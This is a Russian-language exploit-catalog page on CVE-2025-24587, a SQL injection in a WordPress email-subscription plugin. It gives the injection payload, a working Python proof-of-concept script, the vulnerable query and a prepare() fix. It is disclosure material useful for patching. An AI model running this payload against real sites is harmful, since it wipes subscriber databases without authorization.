Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2025-24587 — PoC of CVE-2025-24587 | Kitploit
Инструменты/GitHubGitHub/dottak/cve-2025-24587
Vulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & Education
GitHubdottak/cve-2025-24587

CVE-2025-24587

PoC of CVE-2025-24587

Репозиторий
11 год назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2025-24587

1️⃣ Тип компонента

Плагин WordPress

2️⃣ Детали компонента

Название компонента Email Subscription Popup

Уязвимая версия <= 1.2.23

Слаг компонента email-subscribe

Ссылка на компонент https://wordpress.org/plugins/email-subscribe/

3️⃣ OWASP 2017: TOP 10

Класс уязвимости A3: Injection

Тип уязвимости SQL Injection

4️⃣ Предварительные требования

Без аутентификации

5️⃣ Детали уязвимости

👉 Краткое описание

Неавторизованный пользователь (злоумышленник) подписывается на новостную рассылку, используя адрес электронной почты, содержащий полезную нагрузку SQL-инъекции. Позже, когда администратор переходит на страницу «Управление подписчиками», выбирает вредоносный адрес электронной почты и запрашивает удаление, полезная нагрузка SQL-инъекции, встроенная в адрес электронной почты, выполняется. В результате все адреса электронной почты подписчиков удаляются из базы данных.

👉 Как воспроизвести (PoC)

  1. Подготовьте сайт WordPress с активированным плагином «Email Subscription Popup» (версия ≤ 1.2.23).
  2. Запустите файл poc.py.txt (прилагается) с помощью Python, чтобы подписаться на новостную рассылку адресом электронной почты, содержащим полезную нагрузку, которая вызывает уязвимость SQL-инъекции:
    • Адрес электронной почты: '/**/OR/**/1=1#@a.a
    • Примечание: Подписка с использованием этого адреса электронной почты невозможна через клиент (браузер) из-за проверки. Вместо этого отправьте HTTP-запрос напрямую, как показано в poc.py.txt.
  3. Войдите как администратор и перейдите по адресу: http://localhost:8080/wp-admin/admin.php?page=email_subscription_popup_subscribers_management.
  4. Выберите адрес электронной почты '/****/**OR**/****/1=1#@a.a и нажмите кнопку «Удалить выбранных подписчиков» внизу.
  5. В результате все адреса электронной почты подписчиков будут удалены.

👉 Дополнительная информация (необязательно)

[Причина уязвимости]

Эта уязвимость находится в файле wp-content/plugins/email-subscribe/wp-email-subscription.php, а именно между строками 2080 и 2084:

root@kitploit:~
# wp-content/plugins/email-subscribe/wp-email-subscription.php 의 
# line 2083 ~ line 2084
$query = "delete from  " . $wpdb->prefix . "nl_subscriptions where email='$em'";
$wpdb->query($query);

Чтобы устранить эту проблему, вы можете использовать $wpdb->prepare(), предоставляемый WordPress. Эта функция безопасно экранирует и форматирует переменные, используемые в SQL-запросах, для предотвращения атак SQL-инъекций.

root@kitploit:~
$query = $wpdb->prepare(
    "DELETE FROM " . $wpdb->prefix . "nl_subscriptions WHERE email = %s",
    $em
);
$wpdb->query($query);

⭐ Код PoC

root@kitploit:~
import re
import string
import random
import requests

TARGET = "http://localhost:8080"

def poc():

    ####
    # 1. Retrieve the value of 'sec_string' required for email subscription
    ####
    resp = requests.get(f"{TARGET}")
    pattern = r'var nonce = \'(.{10})\';'
    match = re.search(pattern, resp.text)
    if match:
        sec_string = match.group(1)
        print("[*] sec_string: " + sec_string)
    
        ####
        # 2. Generate subscribers with random email addresses
        ####
        random_string = ''.join(random.choices(string.ascii_letters + string.digits, k=6))
        for i in range(10):
            data = {
                "action": "store_email",
                "email": f"{random_string}_{i}@example.com",
                "name": f"{random_string}_{i}",
                "is_agreed": "true",
                "sec_string": sec_string
            }
            print("[+] Successfully created subscriber #" + str(i) + " Email: " + data['email'] + ", Name: " + data['name'])
            requests.post(f"{TARGET}/wp-admin/admin-ajax.php", data=data)
        
        ####
        # 3. Create a malicious email address to delete all subscriptions
        ####
        data = {
            "action": "store_email",
            "email": "'/**/OR/**/1=1#@a.a",
            "name": "Email mine",
            "is_agreed": "true",
            "sec_string": sec_string
        }
        print("[+] Malicious email address created Email: " + data['email'] + ", Name: " + data['name'])
        requests.post(f"{TARGET}/wp-admin/admin-ajax.php", data=data)
    else:
        print("[-] 'sec_string' not found")
    

if __name__ == "__main__":
    poc()

6️⃣ Демонстрация эксплуатации

video

7️⃣ Ссылки

  • https://nvd.nist.gov/vuln/detail/CVE-2025-24587
Скачать инструмент